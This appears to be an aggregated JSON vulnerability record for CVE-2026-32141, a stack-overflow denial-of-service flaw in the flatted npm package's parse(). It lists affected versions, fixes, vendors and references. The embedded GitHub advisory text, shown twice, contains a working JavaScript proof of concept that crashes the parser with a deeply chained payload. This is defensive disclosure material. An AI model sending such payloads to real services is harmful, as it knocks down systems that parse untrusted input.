{"id":"CVE-2026-32141","aliases":["AZL-80312","CLSA-2026-1776299659","CLSA-2026-1779410883","CLSA-2026-1781830591","CLSA-2026-1781830592","CLSA-2026-1781830593","CLSA-2026-1792232973","DEBIAN-CVE-2026-32141","EUVD-2026-11653","GHSA-25h7-pfq9-p65f","ROOT-APP-NPM-CVE-2026-32141","UBUNTU-CVE-2026-32141"],"status":"published","title":"flatted: Unbounded recursion DoS in parse() revive phase","description":"flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00898,"percentile":0.59897,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-674","CWE-770"],"published":"2026-03-12T18:08:09Z","modified":"2026-11-05T05:36:30Z","fixes":[{"ecosystem":"npm","package":"flatted","fixed_in":["3.4.0"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"flatted","fixed_in":["2.0.0-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-flatted","fixed_in":["3.4.1~ds-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"flatted","fixed_in":["3.3.1-aikido.3","3.3.3-aikido.3","2.0.2-aikido.2","3.3.2-aikido.4","3.2.7-aikido.2","3.2.9-aikido.1","3.2.5-aikido.1","3.2.9-aikido.2","3.2.2-aikido.1","3.2.2-aikido.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/flatted","fixed_in":["3.3.3-root.io.1","3.3.1-root.io.1","3.3.2-root.io.1","3.3.2-root.io.2","3.3.1-root.io.2","3.3.3-root.io.2","3.3.2-root.io.3","2.0.2-root.io.1","3.3.1-root.io.3","3.3.3-root.io.3","2.0.2-root.io.2","3.3.2-root.io.4","3.2.7-root.io.2","3.2.9-root.io.1","3.2.5-root.io.1","3.2.9-root.io.2","3.2.2-root.io.1","3.2.2-root.io.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"js-jquery","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.5.0-4"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.2-tuxcare.0"},{"fixed":"2.0.2-tuxcare.1"}]}],"versions":["2.0.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.3-tuxcare.0"},{"fixed":"3.3.3-tuxcare.1"}]}],"versions":["3.3.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.9-tuxcare.0"},{"fixed":"3.2.9-tuxcare.1"}]}],"versions":["3.2.9"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.2-tuxcare.0"},{"fixed":"3.3.2-tuxcare.1"}]}],"versions":["3.3.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.1-tuxcare.0"},{"fixed":"3.3.1-tuxcare.1"}]}],"versions":["3.3.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0-tuxcare.0"},{"fixed":"2.0.0-tuxcare.2"}]}],"versions":["2.0.0","2.0.0-tuxcare.1"]},{"source":"osv","ecosystem":"Debian:12","package":"node-flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.7~ds-1","3.2.7~ds-1+deb12u1","3.4.1~ds-1","3.4.2~ds-1","3.4.4~ds-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.7~ds-1","3.2.7~ds-1+deb13u1","3.4.1~ds-1","3.4.2~ds-1","3.4.4~ds-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.1~ds-1"}]}],"versions":["3.2.7~ds-1"]},{"source":"osv","ecosystem":"npm","package":"flatted","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.4.0"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.1-aikido.3"},{"fixed":"3.3.3-aikido.3"},{"fixed":"2.0.2-aikido.2"},{"fixed":"3.3.2-aikido.4"},{"fixed":"3.2.7-aikido.2"},{"fixed":"3.2.9-aikido.1"},{"fixed":"3.2.5-aikido.1"},{"fixed":"3.2.9-aikido.2"},{"fixed":"3.2.2-aikido.1"},{"fixed":"3.2.2-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.3-root.io.1"},{"fixed":"3.3.1-root.io.1"},{"fixed":"3.3.2-root.io.1"},{"fixed":"3.3.2-root.io.2"},{"fixed":"3.3.1-root.io.2"},{"fixed":"3.3.3-root.io.2"},{"fixed":"3.3.2-root.io.3"},{"fixed":"2.0.2-root.io.1"},{"fixed":"3.3.1-root.io.3"},{"fixed":"3.3.3-root.io.3"},{"fixed":"2.0.2-root.io.2"},{"fixed":"3.3.2-root.io.4"},{"fixed":"3.2.7-root.io.2"},{"fixed":"3.2.9-root.io.1"},{"fixed":"3.2.5-root.io.1"},{"fixed":"3.2.9-root.io.2"},{"fixed":"3.2.2-root.io.1"},{"fixed":"3.2.2-root.io.2"}]}]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.1~dfsg-3","2.0.1~dfsg-4"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.2~dfsg-1","2.0.2~dfsg-4","3.2.2~ds-2","3.2.2~ds-3","3.2.4~ds-1","3.2.5~ds-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.7~ds-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.7~ds-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.4.2~ds-1","3.4.4~ds-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-flatted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.7~ds-1","3.4.2~ds-1"]}],"products":[{"vendor":"red hat","product":"cluster observability operator 1.5.0"},{"vendor":"red hat","product":"cryostat 4"},{"vendor":"red hat","product":"logging subsystem for red hat openshift"},{"vendor":"red hat","product":"red hat 3scale api management platform 2"},{"vendor":"red hat","product":"red hat amq broker 7"},{"vendor":"red hat","product":"red hat ansible automation platform 2"},{"vendor":"red hat","product":"red hat build of apicurio registry 2"},{"vendor":"red hat","product":"red hat build of optaplanner 8"},{"vendor":"red hat","product":"red hat data grid 8"},{"vendor":"red hat","product":"red hat developer hub 1.8"},{"vendor":"red hat","product":"red hat developer hub 1.9"},{"vendor":"red hat","product":"red hat directory server 11"},{"vendor":"red hat","product":"red hat directory server 12"},{"vendor":"red hat","product":"red hat directory server 13"},{"vendor":"red hat","product":"red hat edge manager 1.0"},{"vendor":"red hat","product":"red hat edge manager 1.1"},{"vendor":"red hat","product":"red hat enterprise linux 8"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat fuse 7"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 7"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 8"},{"vendor":"red hat","product":"red hat jboss enterprise application platform expansion pack"},{"vendor":"red hat","product":"red hat openshift ai (rhoai)"},{"vendor":"red hat","product":"red hat openshift ai 2.16"},{"vendor":"red hat","product":"red hat openshift container platform 4"},{"vendor":"red hat","product":"red hat openshift dev spaces 3.28"},{"vendor":"red hat","product":"red hat process automation 7"},{"vendor":"red hat","product":"red hat quay 3"},{"vendor":"red hat","product":"red hat single sign-on 7"},{"vendor":"red hat","product":"streams for apache kafka 2"},{"vendor":"red hat","product":"streams for apache kafka 3"},{"vendor":"webreflection","product":"flatted"}],"references":[{"url":"https://github.com/WebReflection/flatted/security/advisories/GHSA-25h7-pfq9-p65f","tags":["x_refsource_CONFIRM","exploit","Exploit","Patch","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WebReflection/flatted/pull/88","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/WebReflection/flatted/commit/7eb65d857e1a40de11c47461cdbc8541449f0606","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-32141","tags":["vdb-entry","x_refsource_REDHAT","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2447083","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32141.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34342","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:9742","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13826","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:36651","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:40945","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:40118","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:5807","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:21772","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32141","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-25h7-pfq9-p65f"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32141.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-32141","tags":["advisory"]},{"url":"https://github.com/WebReflection/flatted","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-32141","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-32141","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-32141","title":"flatted: Unbounded recursion DoS in parse() revive phase","description":"flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.","status":"published","published":"2026-03-12T18:08:09.634Z","modified":"2026-09-04T12:05:00.064Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-674","CWE-770"],"updated_at":"2026-11-02T14:19:57.47301Z"}],"euvd":[{"id":"EUVD-2026-11653","description":"flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.","status":"published","published":"2026-03-12T18:08:09Z","modified":"2026-09-04T12:05:00Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T18:01:12.73639Z"}],"ghsa":[{"id":"GHSA-25h7-pfq9-p65f","title":"flatted vulnerable to unbounded recursion DoS in parse() revive phase","description":"## Summary\n\nflatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.\n\n## Impact\n\nDenial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.\n\nflatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.\n\n## Proof of Concept\n\n```javascript\nconst flatted = require('flatted');\n\n// Build deeply nested circular reference chain\nconst depth = 20000;\nconst arr = new Array(depth + 1);\narr[0] = '{\"a\":\"1\"}';\nfor (let i = 1; i \u003c= depth; i++) {\n  arr[i] = `{\"a\":\"${i + 1}\"}`;\n}\narr[depth] = '{\"a\":\"leaf\"}';\n\nconst payload = JSON.stringify(arr);\nflatted.parse(payload); // RangeError: Maximum call stack size exceeded\n```\n\n## Fix\n\nThe maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.\n\n## Affected Versions\n\nAll versions prior to the PR #88 fix.","status":"published","published":"2026-03-13T15:40:42Z","modified":"2026-03-13T15:40:44Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:39:35.644357Z"}],"nvd":[{"id":"CVE-2026-32141","description":"flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.","status":"published","published":"2026-03-12T18:16:25.837Z","modified":"2026-09-04T13:18:42.683Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-674","CWE-770"],"updated_at":"2026-11-02T14:12:09.358914Z"}],"osv":[{"id":"CVE-2026-32141","title":"flatted: Unbounded recursion DoS in parse() revive phase","description":"flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.","status":"published","published":"2026-03-12T18:08:09.634Z","modified":"2026-10-28T02:31:05.5983752Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T15:45:01.218144Z"},{"id":"DEBIAN-CVE-2026-32141","description":"flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.","status":"published","published":"2026-03-12T18:16:25.837Z","modified":"2026-10-01T03:03:21.925308756Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:54.232518Z"},{"id":"GHSA-25h7-pfq9-p65f","title":"flatted vulnerable to unbounded recursion DoS in parse() revive phase","description":"## Summary\n\nflatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.\n\n## Impact\n\nDenial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.\n\nflatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.\n\n## Proof of Concept\n\n```javascript\nconst flatted = require('flatted');\n\n// Build deeply nested circular reference chain\nconst depth = 20000;\nconst arr = new Array(depth + 1);\narr[0] = '{\"a\":\"1\"}';\nfor (let i = 1; i \u003c= depth; i++) {\n  arr[i] = `{\"a\":\"${i + 1}\"}`;\n}\narr[depth] = '{\"a\":\"leaf\"}';\n\nconst payload = JSON.stringify(arr);\nflatted.parse(payload); // RangeError: Maximum call stack size exceeded\n```\n\n## Fix\n\nThe maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.\n\n## Affected Versions\n\nAll versions prior to the PR #88 fix.","status":"published","published":"2026-03-13T15:40:42Z","modified":"2026-09-10T03:50:36.276174418Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T15:46:33.956911Z"},{"id":"ROOT-APP-NPM-CVE-2026-32141","title":"CVE-2026-32141 in flatted - Patched by Root","description":"Root has patched CVE-2026-32141 in the flatted package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-09-11T08:13:18Z","modified":"2026-09-11T09:15:06.235976898Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"UBUNTU-CVE-2026-32141","description":"flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.","status":"published","published":"2026-03-12T18:16:00Z","modified":"2026-10-17T12:58:09.344176549Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:16.036833Z"},{"id":"AZL-80312","title":"CVE-2026-32141 affecting package js-jquery 3.5.0-4","description":"flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.","status":"published","published":"2026-03-12T18:16:25Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:24.800038Z"},{"id":"CLSA-2026-1776299659","title":"TuxCare security update for flatted (2 CVEs)","description":"TuxCare rebuilt flatted to address 2 CVEs. Fixed in 2.0.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:26Z","modified":"2026-10-15T09:47:49.844955283Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1779410883","title":"TuxCare security update for flatted (2 CVEs)","description":"TuxCare rebuilt flatted to address 2 CVEs. Fixed in 3.3.3-tuxcare.1.","status":"published","published":"2026-08-04T14:52:33Z","modified":"2026-10-15T09:48:03.687166922Z","updated_at":"2026-11-02T15:43:45.090939Z"},{"id":"CLSA-2026-1781830591","title":"TuxCare security update for flatted (2 CVEs)","description":"TuxCare rebuilt flatted to address 2 CVEs. Fixed in 3.2.9-tuxcare.1.","status":"published","published":"2026-08-04T14:52:38Z","modified":"2026-10-15T09:45:56.800169177Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1781830592","title":"TuxCare security update for flatted (2 CVEs)","description":"TuxCare rebuilt flatted to address 2 CVEs. Fixed in 3.3.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:38Z","modified":"2026-10-15T09:45:57.152911505Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1781830593","title":"TuxCare security update for flatted (2 CVEs)","description":"TuxCare rebuilt flatted to address 2 CVEs. Fixed in 3.3.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:38Z","modified":"2026-10-15T09:45:51.437711797Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1792232973","title":"TuxCare security update for flatted (1 CVE)","description":"TuxCare rebuilt flatted to address 1 CVE. Fixed in 2.0.0-tuxcare.2.","status":"published","published":"2026-10-17T10:29:33Z","modified":"2026-10-17T13:09:28.16218047Z","updated_at":"2026-11-02T15:43:52.011757Z"}]}}